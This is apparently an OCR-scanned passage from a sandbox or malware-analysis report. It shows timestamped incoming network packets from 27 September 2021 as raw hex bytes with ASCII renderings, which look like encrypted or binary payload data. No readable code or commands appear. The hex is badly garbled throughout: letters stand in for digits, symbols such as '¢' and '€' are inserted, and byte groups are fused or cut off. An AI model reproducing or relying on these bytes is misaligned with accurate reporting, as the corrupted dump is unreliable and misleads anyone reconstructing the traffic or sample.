ee 5d 51 eb e7 b0 08 37 ab af 4b Ob dd al 62 18 d7 be 1a 56 84 49 58 f5 ¢5 91 34 Oe 6b 17 51 4b 77 92 2e 6¢ Oa 56 89 f8
35 c09a f2 4c 2b ec 75 c6 e6 4d 9a 9f c5 d3 5d af e9 c4 af 9a 8a 73 17 97 4e 75 9b aa c4 ¢8 21 73 22 51 ad 55 66 2e 7d
b7 84 37 92 1f b9 7e c4 1a 3c 92 58 29 f3 Oe 1f 93
Data Ascii: ?c51RIEfD2_0r:&I<If@A[P(=%rW3+v*:}Zgxl-IAUIF/ut]Q7KbVIX4kQKw.IV5L+uM]sNu!s"QUf.}7~<X)

2021-09-27 16:55:59 UTC 182 IN Data Raw: Ob bb 35 1c d9 45 2f df cO 47 4b bc 2b c9 1e be 82 35 40 9b 7c 37 25 29 bf a2 e0 d2 60 ff 06 6¢ 7b ae 7d cd b2
8b dc 81 eb ed 5a 5d aa 9c a3 a6 35 2a 61 d8 c9 30 b2 f8 71 bd 79 b8 69 6 bf b5 22 d4 c6 17 11 64 81 54 78 ff 42 4a d9
51 96 23 b7 5d 09 87 4d 5 ca 28 e2 d7 70 fb 18 36 bf 55 ad fd f8 f6 a6 84 Ob a6 b4 7f c3 c9 a6 2d fa 89 8b fc 94 9f 24 97
21 15 d1 ba 96 37 83 9c e6 89 50 4d fe 31 d5 90 67 fe e8 58 ff f5 48 f7 74 86 c3 b4 26 36 5e 80 e0 ea e7 f8 b4 4a 2a 8b ae
36 cc fb d5 3a bb 3a fO ¢7 c0 b1 fa 6f 63 f8 08 bf 6¢ 99 26 9f 4e 59 9c c3 ce 97 56 e0 3d 9d ef 1b 8 80 c0 bd 58 ae 15 c1
c2 5e 25 a9 30 7d 6a 08 24 20 36 37 5a 9c 83 47 e7 56 17 5d ec ff 3a 8d b8 c2 92 d9 a9 88 16 e7 eb ae {7 48 bf 9b 10 e9
34 4590 b2 16 12 cb 1f 07 31 0f 91 0f a8 6f
Data Ascii: 5E/GK+5@|7%) {}Z]5*a0qyi"d TXxBIQ#]M(p6U-$!7PM1gXHt&6J*6::0cl&NYV=X"%0}j$ 67ZGV]:H4E10

2021-09-27 16:55:59 UTC 183 IN Data Raw: 79 95 2a 4a 89 90 ad 3d 72 1b c4 83 21 38 e6 fd 55 66 92 af 75 2b 83 93 38 ce 85 9b 5f 89 36 6e fb 71 90 e4
db 1b c2 Ob 68 cb b5 da 79 f9 26 4a 3b 18 16 2d a2 d3 55 76 Of 7b 75 c2 00 ee 20 51 b1 41 b2 95 33 4d 3b 36 b2 34 00 62
65 d7 c5 bc 54 90 68 be 61 b8 ec 26 a0 6b 6a 51 d7 d1 90 e9 68 ec c2 f4 1f 0d 6e 9a 8f 4c 96 4a 77 82 c7 ab Oe e2 6f 83
f3 af 94 ¢4 70 3c 88 82 13 71 da 08 b8 ca 6a c8 5¢ 73 23 f6 af 34 42 c8 e9 ca 50 a3 3c 1f c4 7e e6 bd 3e b0 5d cf 67 73 74
30 bd a6 1f ¢7 30 0d 77 59 88 ca 78 36 9b 0f 96 6b 57 90 1b b5 98 fa 1c 23 Oc 8d 7a 7b €8 05 6b a9 2e a4 c9 4a Oc 2d Oa
f2 2d dO f6 45 7f 71 09 10 18 ee 55 df f8 f9 b6 9b d3 57 ¢8 92 79 93 dO ff 2a b5 04 1f 5e 01 4f b9 5¢ 3b 25 20 32 03 ¢3 49
6a bl 53 a9 aa aa d2 29 cO cc 95 76 ac 74 c6 c4 46
Data Ascii: y*J=r!8Ufu+8_6nghy&J;-Uv{u QA3M;64beTha&kjQhnLIwop<qgj\s#4BP<~>]gst00wYx6kW#z{k.J--EqUWy* O\;%
2IjS)vtF

2021-09-27 16:55:59 UTC 184 IN Data Raw: eb b8 43 a6 f9 0b 5f 19 7d 33 dc 40 b9 87 5c 1d 49 94 e2 24 8d 8b 17 81 b9 70 a3 fe dc 62 3¢ 50 30 fe Oa 7f 92
97 e8 Oe cc 82 €5 98 42 74 fb c3 e9 8¢ 34 24 83 06 7e 9a d3 71 ff 2a f6 ae 48 66 9 f8 2d 5d ae 8d fd df 03 fa 12 63 58 a2
bd c8 9a c0 0b 33 74 95 71 ce ea 56 21 97 9f 74 Oc Oe 14 bd d9 02 1c 15 bc c2 bd 8f ab de 7e 8c 9¢ 59 d8 7c 85 5a el 83
42 4c 54 06 44 0a 6b 47 df 19 70 92 a4 a9 ae bd e5 f3 aa 11 dc c2 Oa d4 5b 34 38 90 fa bd 10 6e 05 el a5 72 34 ea 1a 6f
7d 09 b3 00 54 ce a5 bb 01 48 9b 17 ab d1 b9 al fc bb e3 76 2b 9a 3f 89 Oe 11 3c f0 ff 89 50 a7 66 53 be 7c 74 bf fb 6a €3
la 9f a9 c2 b6 cb e9 76 27 75 8d d5 6b a8 9f 5b 73 d4 4d 6d 5a 35 a3 7d 2c 64 7e Of c1 2b 53 4d fe cd e6 bc b2 54 fa 39
21 0b 4d 9b 89 06 10 61 e5 a8 78 e5 a2 1f 7f 64
Data Ascii: C_}3@\I$pb<P0Bt4$~q*Hf-]cX3tqV!t~Y|ZBLTDkGp[48nr40} THv+?<PfS|tjv'uk[sMmZ5},d~+SMT9!Maxd

2021-09-27 16:55:59 UTC 185 IN Data Raw: 55 c2 89 1f 3c b0 98 7a 4d 70 de Oa c6 2a 12 Oe 9f 6f d1 2d ad cd c3 96 a8 f5 73 f9 c8 da 75 b8 be b4 ca 3b 71
c5 62 d2 55 76 4e €9 b7 50 35 e2 1d c0 77 00 29 43 92 6a 49 67 Oe 74 87 63 a4 81 c5 d6 99 0a 81 fb 4c 78 4b 9b d7 4f 71
41 b5 9d 23 e5 b6 19 c5 0f f0 9d al a2 07 6a a9 2e 32 d9 f2 20 cb 08 8f 3d dc be 47 7f 71 19 96 1b 98 50 39 ea 94 b2 a6
9a 55 c8 b2 79 05 d0 10 1a 73 04 62 5e 5f 07 9b 5d 3b 25 b6 33 8d c4 af 68 cc 43 39 el a8 d2 29 c3 7a 97 6f 9d 92 c4 99
42 f4 8f 22 5a f5 7f 11 91 1c 98 06 el 53 d9 d5 47 b5 c¢7 02 83 40 f1 07 2d 9f ¢4 90 59 7a 71 e0 79 fb cd ed 68 f9 66 d1 59
09 af 6¢ 6e f3 2c 69 al 3d 3f 2¢ 24 c1 5a 3b bc 9¢ 7e 91 33 82 d1 4d dc 3e d3 08 da 38 4c Ob 84 a8 c5 ec 9b 57 €3 13 2d
48 5a 04 d3 28 60 96 66 2b a7 6a ce ea 6¢ e5 1d 8d
Data Ascii: U<zMp*o-su;qbUvNP5w)CjlgtcLxKOgA#j.2 =GqP9Uysb”_];%3hC9)zoB"ZSG@-YzqyhfYIn,i=?,$Z;~3M>8LW-
HZ(f+l

2021-09-27 16:55:59 UTC 187 IN Data Raw: d3 27 5f d1 16 49 ed 25 1a 32 31 8d 46 60 25 41 03 89 71 79 80 db db 22 1e 9d ec fO 3b ed 97 e4 90 3d a8 91
3b 78 e8 7f {6 f7 a0 43 17 ae 37 d8 89 59 28 al ca 0f 22 Oe Oc 85 0Of 7d 64 34 08 6a 97 05 9c b2 5d a2 34 e8 04 3a d0 58
a0 ec 08 2b f4 51 7d d4 d6 dd 35 c0 f3 07 8e 88 32 87 24 0d 8a 96 c1 ca 23 8c Oe 79 ab 0b 20 fb 09 a2 c2 76 f2 c5 27 ee
9d 52 71 c4 fe ad fa 30 47 99 5d 2d f4 53 c1 Of 7e 43 6¢ d4 f3 65 70 42 83 18 8e f4 61 81 8d 2f 84 2b 3c 8c 9a c6 dd 5e 81
14 55 e6 21 bd 42 02 7d 12 d3 ef 43 47 4e 71 10 50 44 0a 91 9a e8 62 Ob ac 86 b7 d5 74 c2 2d 90 3c e7 ac d9 8b ac 5c 31
a6 33 19 48 48 87 16 61 b0 99 91 d1 5a 80 Oe b3 0f 88 77 b3 3b c6 23 b6 4a f2 52 d4 90 d1 9a bc dO 8d Ob 8a 4b 8a 6e 36
d1 81 b8 9f 8e f7 1b 92 59 83 0f 3f 51 bb ee 28 96 c9
Data Ascii: '_1%21F %Aqy";=;xC7Y ("}d4{]4:X+Q}52$#y V'Rq0G]-S~ClepBa/+<"U!B}CGNgPDbt-<\13HHaZw;#JRKn6Y ?2Q(
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 188 IN Data Raw: 21 f2 Oc 9f 08 df bf Oe 7b d7 3b 3a 1c c9 54 al ff 38 b2 f7 9e 15 c2 5e 73 54 d4 b3 Oe 80 Oc 33 5a 7a 23 61 56
5221 d0 25 4d cc ee 6¢ dc 76 3a e3 f9 d6 8f 2 e6 91 fe 9¢c 9e d7 b3 4d c5 8e f3 54 2e 7e 20 90 69 b8 1a ee fa d9 fe 4c aa
€8 1382 57 cd d2 2b fe c5 a4 46 22 79 91 7d 6f ee 27 65 75 66 c1 6¢ Oa ac 75 6a €3 19 6a a2 1c 3b 3c 11 c2 5e Oa b8 4e
6d 9f 33 Oe d1 42 d4 de da b9 da cf4c cb 88 al c1 75 aa b0 €9 3a 2c ef 7d 34 da a9 64 86 43 cb a4 eb ca b4 7a 01 1c a4
€6 15 68 a5 43 65 9e 3 90 c0 ca 6d de df f5 29 73 c8 0f 28 13 38 d5 c4 10 06 ed 20 47 43 28 4b 15 d8 8c b9 42 29 5d a5
29 c0 bd 38 ce 33 60 b8 00 47 4b 6a 4a 66 b2 50 f1 89 e7 el 73 97 a2 b3 ae 89 Oe 38 44 7d ce fa b2 5e 5¢ 62 71 7c 6d 17
b7 30 2f 6d c2 d8 01 05 bc 7b 7e cd 59 5b ef 9a 92
Data Ascii: I{;:T8"sT3Zz#aVR!%MIv:MT.~ iLW+F"y}o'euflujj;<*"Nm3BLu:,}4dCzhCem)s(8 GC(KB)])83'GKjJfPs8D}"\bqg|mO/
m{~Y[

2021-09-27 16:55:59 UTC 189 IN Data Raw: 77 04 5 1le b5 e4 9f cd d8 7e cd 22 57 56 76 51 d2 06 fc Oa 5a ee d3 df 6¢ 6d 30 a5 7e dO 62 e5 7f dO 2b 02 49
4d e8 dd 88 3d 52 fd 2e 16 45 c6 9d Oa Oa cf 60 be aa 8e c2 1f 1f 20 37 d2 eb 6a 71 80 2b 7d 23 7f 31 cd 6¢ 5a c5 02 cO
d6 3e Oc f9 27 09 9b 9d 69 c5 00 08 7e 16 33 ee ec c3 42 d5 b8 b0 c0 eb 97 56 35 92 96 cf 37 9a 47 4b ff d4 9¢c 55 73 61
c4 2e e0 4f 5¢ 48 05 57 aa 26 41 c4 62 89 31 a0 99 67 dc e0 82 ef 22 95 43 63 93 1a 72 59 b5 35 78 b8 93 ce 92 12 1d 21
1d bf e5 fb 3b 76 9a ce c3 bb ba f5 12 96 3c 5b f1 92 1e 5e fb 2a 66 ce c1 9e 48 6f 7c c4 2e 2a a4 f9 44 55 11 fO be 75 9a
82 91 36 €3 9f b9 5d 03 04 de b6 b7 90 eb d3 4d c9 f4 6¢ 40 ad 67 72 €3 60 48 21 3d 12 6a a4 cd 73 2b 10 ef 73 1f 62 2c
2088 b7 ef al cd 2a 72 3f 3b a7 14 43 a9 65 c7 e0
Data Ascii: w~"WVvQZIm0~b+IM=R.E" 7jg+}#11Z2>'i~3BV57GKUsa.O\HW&Ab1g"CcrY5x!;v<[**fHo|.*DUu6]MI@gr H!
=js+sb, *r?;Ce

2021-09-27 16:55:59 UTC 191 IN Data Raw: d7 f6 d1 2d 18 ed 5c 4b 7 3d 7d 2c 15 1b 2d 4d d5 f8 09 00 98 4f b5 36 94 31 47 bd 1f dd 1b c1 12 fd 2b 88 b3
c8 ee 98 5f 88 03 11 62 8b 24 b6 3d 29 97 b7 Ob b4 4f Oe ea ed c4 c9 82 b9 7a 3f bc 13 4c c3 cc bb 6f d2 f9 cc cf f1 el 63
ac 1d 5d 7b 60 21 71 d3 da ac 46 e1 04 bb 1c 28 59 ec 50 c3 ac 56 34 04 05 7a 31 8c 9a 24 29 21 15 0a f9 22 d5 c5 a0 bd
1512 41 9d b9 79 e3 3a e6 46 04 48 d0O d9 83 72 8b 00 5a ec c4 89 63 f0 b6 b5 d5 67 86 65 89 26 b3 e7 85 23 ff ba 61 19
0f 8e €3 19 09 d0 10 89 5d f2 25 58 f9 51 3e af e6 6d eb ¢7 10 a9 f9 Ob 5f 81 7d d2 c9 a6 bb e8 5c 9b 1a aa €0 2c 8d 04
17 ed b8 98 al ae dc d7 6f 5a 30 bb 0a 16 9b 69 fe al ce 99 ef 4c 11 3b fb b8 e3 12 34 0f 80 52 76 ef d3 d3 ac de fc a6 48
a9 f9 2e 30 a9 ac 79 fd fa 55 f6 12 ee 58 34 bd
Data Ascii: -\K=},-MO61G+_b$=)Oz?Loc]{ |qF(YPV4z1$)!"Ay:FHrZcge&#a]%XQ>m_}\,0Z0iL;4RvH.0yUX4

2021-09-27 16:55:59 UTC 192 IN Data Raw: a8 55 30 c2 3e 15 49 41 86 c0 66 83 98 b8 dO fe 8d 16 b7 46 88 21 b1 56 c2 7a b6 78 fb 67 d0 e2 d1 56 83 e3
8962 8b e7 al ab 32 71 80 88 b2 01 f1 93 93 da b1 96 39 23 be ca 37 65 cd 5a f2 4d 08 32 4a 41 de d5 54 f6 fe 79 e0 2a
4797 0c 92 ef 59 18 cd 90 a4 35 01 9a c7 be 66 d4 67 80 10 01 f1 al be 39 c6 05 f8 bd 8d 70 18 f4 b6 d5 1f 61 5e c4 7b bf
61 6a b7 0d b8 a7 34 5a 70 48 6¢ 10 05 bb c2 17 60 90 6d Oe 6¢ Of b2 e4 3b 51 49 df ad 08 cf a3 18 4b ac d3 68 60 32 df
f4 2a 03 8¢c 7a 58 34 cd db 36 f6 60 53 51 c9 4e ab 2e 72 03 fd 89 01 35 19 98 91 45 db dc 20 ce a9 4d 5b 97 3e d1 ec a5
c7 c4 27 a2 fc 73 ef 9f ae 75 40 b6 a0 ca 7a 7d d5 62 b1 5¢ 7c 2d f5 be 51 35 ¢3 33 c4 7e b2 2b 3e 92 58 29 1c Of 7c 87 f5
a4 65 c6 ba 9b ed 81 0a 2c ca 4b 81 d6 f7 68 65 91
Data Ascii: UO>IAfFIVzxgVb2q9#7eZM2JATy*GY5fg9pa™ajaZpHI'ml;QIKh 2*zX46" SQN.r5E M[>'su@z}b\|-Q53~+>
X)|e,Khe

2021-09-27 16:55:59 UTC 193 IN Data Raw: 40 ab 47 14 24 3e bf 36 e0 b9 64 00 04 10 7b df 47 d6 b2 89 dc 33 ea 53 77 ba a8 c4 a2 ce Oe 2a 61 fe c8 bb
b2 8a 74 7c 7a d8 69 60 84 9f 23 cb c6 80 11 al b0 ad 7a 80 42 d5 e3 72 96 22 b7 e0 08 0d 48 11 c8 7b €3 23 4b f8 18 19
be e0 ad €9 c9 20 a5 dc Ob 5e 8f 4c c2 ec a6 b9 fa 6e 8f 3d 96 €3 24 be 1c 30 d1 b8 96 95 82 f5 d7 6e 52 05 ff 23 €9 90
67 c8 e9 e5 ffe4 4e 26 77 dO c3 eb 1a Oc 5f ad e0 7d e7 ea 87 81 28 f4 ae 72 f1 d6 d5 3b bb 97 f1 d2 c6 55 8 2e 62 69 34
bc 6¢ a4 27 38 4e 76 af 1b cd d9 56 20 01 a0 ee 28 e8 14 c0 99 5f 7d 17 bd c2 fc 18 9e 30 7f 6a dc 25 ef 02 d0 58 a2 82
75 da 56 17 19 ed 50 3a de b9 61 91 9d a9 ac 2b ac ea 95 {7 df bf 40 17 34 36 3a 90 b1 2a 2d cb 1e 07 eb Oe 09 Oe 4c 6d
30 08 8¢ 96 55 8c ef 5¢ 3¢ 3599 12 bl d2 f8 al fd 2d
Data Ascii: @G$>6d{G3Sw*at|zi #zBr"H{#K ~"Ln=$0nR#gN&w_}(r;U.bi4lI'8NVV (_}0j%XuVP:a+@46:*-LmOU\<5-

2021-09-27 16:55:59 UTC 194 IN Data Raw: fc Oc fa 46 f1 57 db Oc 12 bf 7c 49 e3 45 6b ec 2e al 38 9c c5 e8 2f 78 88 ac a5 ee 96 23 59 d4 Ob be 13 a7 23
c0 35 96 88 fe cc d9 77 d9 30 2a 6¢ ca 01 7b 00 d1 be b3 23 bf 43 65 c3 5¢c ee 7c al e7 78 43 bd e4 7c 9e e6 e2 66 e5 dc
30 d4 d5 e9 37 88 69 5d 28 6d d8 55 57 dc ab 47 2c 2b 2a 1c 7a 59 ed 48 a3 af 46 35 25 28 ¢6 34 bl aa 67 19 04 10 00 fc
d5 ff b0 8b 9a 16 96 48 0 ad aa el a3 d4 71 28 e2 c8 cb a6 b2 8a f5 5b be f7 6b 62 84 b6 al d4 d4 a6 16 88 bl b3 ff 82
d8 ce e553 d5 22 30 cb ¢5 2b 4a 13 8b 54 6b 00 4a c9 1b 36 fc c2 26 eb 47 21 a7 f9 Ob 5e 3¢ 7d 70 c3 ae bb b9 5d 3b 1a
15 e3 25 8d 1d 16 10 ba 6b 8¢ 85 dc d7 6e 91 30 13 27 ef 92 67 ff 2d ce 3e ef 48 11 76 fa 04 €9 54 1f 58 80 e0 7d 2e d3
2e 84 2e f6 ae 49 3b f9 a3 20 bd ac f0 fc Ob 57 8e 08
Data Ascii: FW|IEk.8/x#Y#5w0* {#Ce\|xC[f07i(mUWG,+*2YHF5%(4gHq([kbS"0+JITkJ6&G!"<}p];%kn0'g->HVTX}...I; W

2021-09-27 16:55:59 UTC 195 IN Data Raw: 93 ee c¢5 d3 e0 d8 70 aa 6d 18 08 b3 b2 e5 66 f9 fd 2c 8e 80 d9 15 8f 46 b6 7f de 2f b7 16 d1 6d fb 60 91 c1 90
cc 88 e2c842cdbdala8 73 b0 c4 22 b2 53 b2 721 70 bl dc 7a c0 d9 50 3c 44 8¢ 99 b0 83 6e 3a 25 8¢ ac ca 26 b3 95
dc 82 17 31 9 6b 3a e8 4c 4e ce f5 ec 3d 1la cc c4 fb 40 aa b2 ef 39 74 b8 c8 3¢ 45 e5 6a 4a c7 ff 09 34 9b 58 a6 bc 31 d2
e4 98 cf c2 3c 2e 2d f2 €5 79 14 23 48 7c 5a 16 f3 e0 1f 14 d2 0d 64 37 0f 24 ae 20 35 f3 d7 d7 4a 37 cd 7b 4b d5 98 47 08
27 d7 8d 67 15 ¢7 49 1a 20 c5 af 75 e8 2d 29 51 92 04 90 68 2f 0a 87 ca 1f 74 65 98 ee 0Of 96 be 34 c6 85 Oe Oc fb 2c d1
de ee 94 a2 33 aa ef 30 17 ff 9b 75 fa fa 22 89 18 73 67 24 af 10 22 2e ad 3 50 72 30 1d 8¢ 3a e6 4c 5b €6 07 4b Oc 60 10
ee 9b c3 5¢ a8 5e fd 1le e6 da 5e 1b 3f 2 b8
Data Ascii: pmf,F/m’Bs"SrpzP<Dn:%&1k:LN=@9t<EjI4X1<.-y#H|Zd7$ 5J7{KG'gl u-)Qh/te4,30u"sg$".PrO:L[K"\""?

2021-09-27 16:55:59 UTC 196 IN Data Raw: 5f 01 80 2f 19 aa 05 6f 25 6a €5 34 a4 c1 65 5¢c 5e 11 3d a6 46 88 e8 8b 94 4d eb 29 2d bb ca bb a3 b6 54 28
0582 c9c3e88b 1201 7h a2 33 62 e3 d2 56 8b b0 €0 7d fd d4 ed 25 82 31 9a 96 Oc €0 42 db be 6¢ 73 17 13 8a 34 €2
43 2af9 5¢ 57 bf 86 cc eb 8f 71 a4 be 6a 5f ¢7 1c c3 a8 ¢7 bb 98 3d 8e 79 {7 €2 40 ec 1d 72 b0 ba f0 c0 83 bb b6 6f 3a 51
fe 6d 8¢ e6 38 ba 89 ba 9e e5 3d 74 02 a4 87 88 6e 55 5e d0 92 13 93 b6 €5 d8 4d 92 ea 29 84 98 d5 7d de d8 bf 9f ac 32
9b 66 27 39 40 dc 6¢ c9 54 66 24 11 cc 51 88 8b 22 40 01 cf 9d 74 98 73 b2 ad 27 Oc 76 c8 a3 bd 5b c9 30 3e 08 9e 60 ba
02 94 3a el c5 20 da 13 75 5d a4 Ob 3a be db 24 f2 c6 a9 cd 49 e5 8f cc f7 bb dd 0a 70 6d 36 5f f2 fa 43 72 cb 72 74 ¢4 60
46 62 27 0f 7d 4b dO 96 17 ef al 19 60 35 de 71 fe 95
Data Ascii: _/0%j4e\"=FM)-T({3bV}%1BIs4C*\Wgj_=y@ro:Qm8=tnU*M)}2f'9@ITf$Q"@ts'v[0>": u]:$Ipm6_Crrt'Fb'}K'5q

2021-09-27 16:55:59 UTC 198 IN Data Raw: 90 ¢5 3b 77 bc df 1a 45 ee 60 56 de c8 1c 2f 9d 57 85 dO 16 90 ad 9e e3 b7 15 09 5f d6 c5 15 37 61 01 7f 71 65
cb cd 6¢ 14 2 61 63 75 46 14 89 52 38 dO bb db 72 56 c9 55 2e b2 8e 28 24 0a a2 a7 46 31 84 2e 3d 17 9a a4 57 86 0d
06 34 d7 15 e5 40 18 63 ad ec 59 55 43 f4 eb 04 {7 b2 13 aa 83 4d 5f fe 09 b4 3 cc fa a0 1c cf 88 21 62 f9 ac 1c d5 db 76
b3 2c 16 6b 01 c1 31 0a 4b eb €5 35 59 11 7c b7 1b ae 4a 50 f6 34 4c 65 4d 06 e2 94 dO 7a 8f 51 f5 13 ed ca 2c 3d 2e ef
83 a7 19 32 d6 69 4c 5 fe 78 ab 6a 9c 1f 81 ¢8 66 05 cd 42 57 c9 b0 44 a8 7c ee 43 ab d3 22 7f 35 66 f1 76 f4 3f 58 9e c2
df ca ff 55 8¢ 7 15 60 a4 75 5c 3a 6a 07 5e 38 63 cf 03 48 40 d5 47 df af db 11 9c 21 46 85 c1 be 4c c0 29 f0 1b c2 el al
da 33 86 €6 56 21 a5 Oe 7e f7 75 f5 43 €5 10 b6
Data Ascii: ;wE ' V/W_7aqelacuFR8rVU.($F1.=W4@cYUCM_!bv,k1K5Y|IP4LeMzQ,=.2iLxjfBWD|C"5fv?XU u\;j*8cH@G
IFL)3VI~uC

2021-09-27 16:55:59 UTC 199 IN Data Raw: 3d fa 7f 96 af 51 el 69 7e b2 db e5 d5 c7 b9 bb 0a 35 51 8a 6f €9 d5 02 8a a3 ab 86 87 21 70 04 9f 90 9d 7b 40

3b 80 a5 18 8e a7 e9 de 6a 84 c1 3f 83 98 b7 56 de ff 84 9c b2 32 f8 56 06 34 51 c¢9 09 99 41 6¢ 3a 2b ec 44 a2 bd 24 48
75 fa ef 4f 80 64 a5 b8 3a 1b 63 dd b6 d4 7a ea 44 09 18 7 46 ad 76 b4 58 b2 d7 03 8e 3c 65 38 8d 0d 7b ab cd 56 f9 c6
dc da4e e5 a8 cl 9a ae d6 66 73 7d 71 5d fe 9f 59 71 bf 7a 63 e6 7b 40 7c 27 0f 08 7d d6 96 13 f9 c8 39 42 41 ef 60 97
bl cc d5 99 2d ab 92 5¢ Oc 76 91 77 41 06 80 9b c8 24 45 14 4c d8 ef 02 a7 fb 65 d3 76 fa db a3 54 ae 42 15 ae 13 95 94
76 89 ef 32 11 al af 08 fa 74 21 16 25 Ob 87 18 bl 44 24 3e 09 af 9d f8 15 22 3 4b e5 3c 3a ef ec 06 c5 Oe 42 fa f7 94 b6
7d dd 54 10 93 57 02 18 49 Oc 5f b4 2a 12 03 26 85

Data Ascii: =Qi~5Q0!p{@;j?V2V4QAI:+D$HuOd:czDFvX<e8{VNfs}q]Y qzc{@|}9BA -\WWASEL evTBv2t!%D$>"K<:B}TWI_*&
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 200 IN Data Raw: 34 7f eb Oa bc 95 €9 e6 a5 07 c¢3 e6 14 17 ¢3 b7 20 f4 d1 4c ad 5¢ 27 4c 2c c0 3b 01 2e 8c d2 24 6a 11 73 a5
1c 8a4e 72 fd 3f 29 16 6b 00 d8 90 ca 7e a5 5c fe 3b ee c8 2c 1d 2e ef 88 93 1a 30 90 59 4b 98 5 71 c5 4a 98 7a c4 c8
07 2d c1 2e 75 al e2 69 a3 08 ee 45 cc dd 2f 7f 3c 68 f2 7b f0 50 5d 92 84 d3 ce 9a 33 a0 92 1e 6d d0 77 7f 27 59 32 3f 2c
75 cc 33 49 41 fe 53 de ae af 2b a3 3e 59 96 dc b7 61 al 29 fd 6f db fe bl ca 2e f4 c2 43 2c 9d 7c 76 f4 68 c6 63 9d 36 ba
a0 31 f4 al 6e e6 10 80 63 46 9f 83 f5 3d 2¢ 07 8¢ 15 ab bc 89 04 9 21 b4 3d 4d c9 01 le a3 5d 0d ca 3d 78 49 40 97 31
57 d8 f9 Oc el 53 f6 b9 4d bb 7b a5 57 8d 51 28 5f eb a8 a2 89 ed 08 ae 76 43 2f 2e 4c d1 7b 05 e2 2a 6e ca 0d ba 82 6¢
a2 7af9 b8 3a 09 d3 3b 39 f2 92 ee 02 ac bb ab a7
Data Ascii: 4 L\'L,;.$jsNr?)k~\;,.0YKqJz-.uiE/<h{P]3mw'Y2?,u3IAS+>Ya)o.C,|vhc61ncF=,!=M]=xI@1WSM{WQ(_vC/.L{*nl
z:;9

2021-09-27 16:55:59 UTC 201 IN Data Raw: 57 ac 67 bc 58 87 ee 42 bd 39 17 Oe 95 04 57 ba cd 56 f9 c7 e8 c2 4c 8a 99 c7 83 b6 d2 Oa 5e 6e 45 50 d1 96
4c 7f b9 76 73 cf 62 34 42 1a 1f 14 64 b3 c4 35 e2 c5 32 6e 35d2 51 8c aa 9 d5 93 79 91 96 5e 0f 5b 9b 7c 5b 69 b7 91
fc 3d 31 24 4b ba d9 18 c2 bf 4¢c b6 5d f1 a9 84 4e cb 61 38 c1 3f 9e d5 56 92 df 34 1c b8 be Oc 94 31 Oc Oc 1d 0d 81 2e af
4e 16 23 Oc a4 90 3 54 34 9 39 ef 30 4f ff e7 06 ca 04 41 ac f9 82 ab 40 e2 52 23 82 46 1e 71 68 16 5b a8 6¢ 26 05 27
b3 72 b2 2a 5d fb db 8d 77 76 c4 d7 a5 b1 61 83 7f ff 90 89 df 80 b6 dc ca 64 9a 5b 22 1d ee ec b6 08 9e d4 31 a2 al e8
3d b7 20 e4 32 €2 32 b1 Oe d1 3e d5 61 bf ac a3 e2 e6 c3 e7 36 c5 93 ¢7 8b 5e 9e ¢7 06 c1 72 94 1c 90 7c d8 d0 3b 83 d2
70 52 47 a8 da 9b 8f 6a 15 25 89 ab c2 00 9d 9d d9 89
Data Ascii: WgXBOWVL nEPLvsb4Bd52n5Qy"[|[i=1$KL]Na8?V41.N#T4900A@R#Fgh[l& r*]wvad["1= 22>a6"r|;pRG}%

2021-09-27 16:55:59 UTC 203 IN Data Raw: 24 6a 92 f1 c2 c2 f5 22 a6 92 3b 6a d0 53 75 53 42 0d 5e 1a 69 bb 1a 54 25 f1 5d ad 8e c0 68 8f 3c 44 93 c9 a0
4c 94 3595 2c f2 €2 bd ed 29 f4 ee 4d 58 97 13 11 f2 73 99 42 8a 53 bc ba 45 2 a6 76 dc 09 8f 71 41 9f 8d fd 28 0d 17 a3
16 9f b8 9e 25 97 00 be 49 5f ¢5 09 02 97 75 17 c4 52 3f 6a 5d bd 3b 72 d2 fa 11 b1 71 f7 bd 39 a9 6c b4 41 b4 5e 23 2b
c5 cl a9 89 cf 32 90 60 44 27 34 6d bf 4e 0f 96 21 6e dO 3c ab 98 1f ac 70 e3 ae 17 00 d2 4f Of f9 94 cb 06 ae b5 a5 ae a4
80 1c e7 47 33 51 0e d9 26 71 af a9 26 27 43 51 7d 4d 31 ef 26 09 c4 21 5a 25 6a d0 59 90 ee 11 7c 76 58 15 9a 29 cf fc
fe bl 75 8e 3a 31 d4 da 8c c2 al 47 46 07 b7 c9 c1 d7 ff 2b 08 0f a4 1b 16 cd d9 44 bb c6 d1 63 e7 d2 d7 09 f1 11 8b 83
21 e2 6a d9 ad 66 2c Of 76 bc 19 83 73 3f b0 76
Data Ascii: $j";jSUSB"iT%]h<DL5,)MXsBSEVQA(%I_uR?j];rq9lA"#+2"D'4mN!In<pOG3Q&q&'CQIM1&!Z%)Y [vX)u:1GF+
Dcljf,vs?v

2021-09-27 16:55:59 UTC 204 IN Data Raw: 03 9f a7 02 b4 d8 35 06 b9 be 1f 9b 45 2a 0d 51 29 94 34 a2 4c 36 20 0d a3 85 d2 36 3c e2 5a f8 1b 21 ee e4
634 00 5b c3 ec e7 98 7a c5 74 3f 92 4e 15 03 4a 0d 44 a3 2a 15 09 3e 89 67 al 3b 57 e7 db ¢4 71 76 f4 fO d6 fa 70 b4
64 fb 87 e7 92 9c bd c1 el 5e 9b 3e 13 3b e4 e6 a7 03 da fd 3b a3 ac fd 27 d8 34 8a 71 c3 2e a3 Oe d1 16 95 41 a2 b8 a3
f9 €7 d4 89 10 ed 9d c7 a7 5¢c ¢4 d3 17 c0 1b ba 1c c¢3 45 c3 be 76 a9 de 42 48 4d b9 ca 83 94 1a 10 2f 9c 86 ee 2c 80 8e
b0 a5 2a 50 d7 7d 7b ac 59 0f 8b el ad 7b 01 8d 83 cf 25 96 97 80 34 72 d5 cf 06 2b c4 77 59 da f6 14 3e 87 36 b4 c5 00
e4 81 b6 a3 86 11 0d 4a d9 c8 Oa 26 08 2b 48 18 71 de d6 40 37 ff 78 68 11 7c 47 al 49 32 c3 b8 c1 67 51 df 17 1d db a9
320109 95 a4 59 3d e7 67 1c 06 b3 85 55 8d la 6a 36 b2
Data Ascii: 5E*Q)4L6 6<Z!c[zt?NID*>g;Wqvpd">;;'4q.A\EVBHM/,*PHY{%4r+wY>6J&+Hq@7xh|G12gQ2Y=gUj6

2021-09-27 16:55:59 UTC 205 IN Data Raw: 4b 51 a5 01 5a d8 ea 1f df 51 e7 b5 1d bd 6c b0 65 bf 4c 29 59 f0 a8 b6 89 ed 08 83 77 5b 29 34 47 b4 4c 30 {7
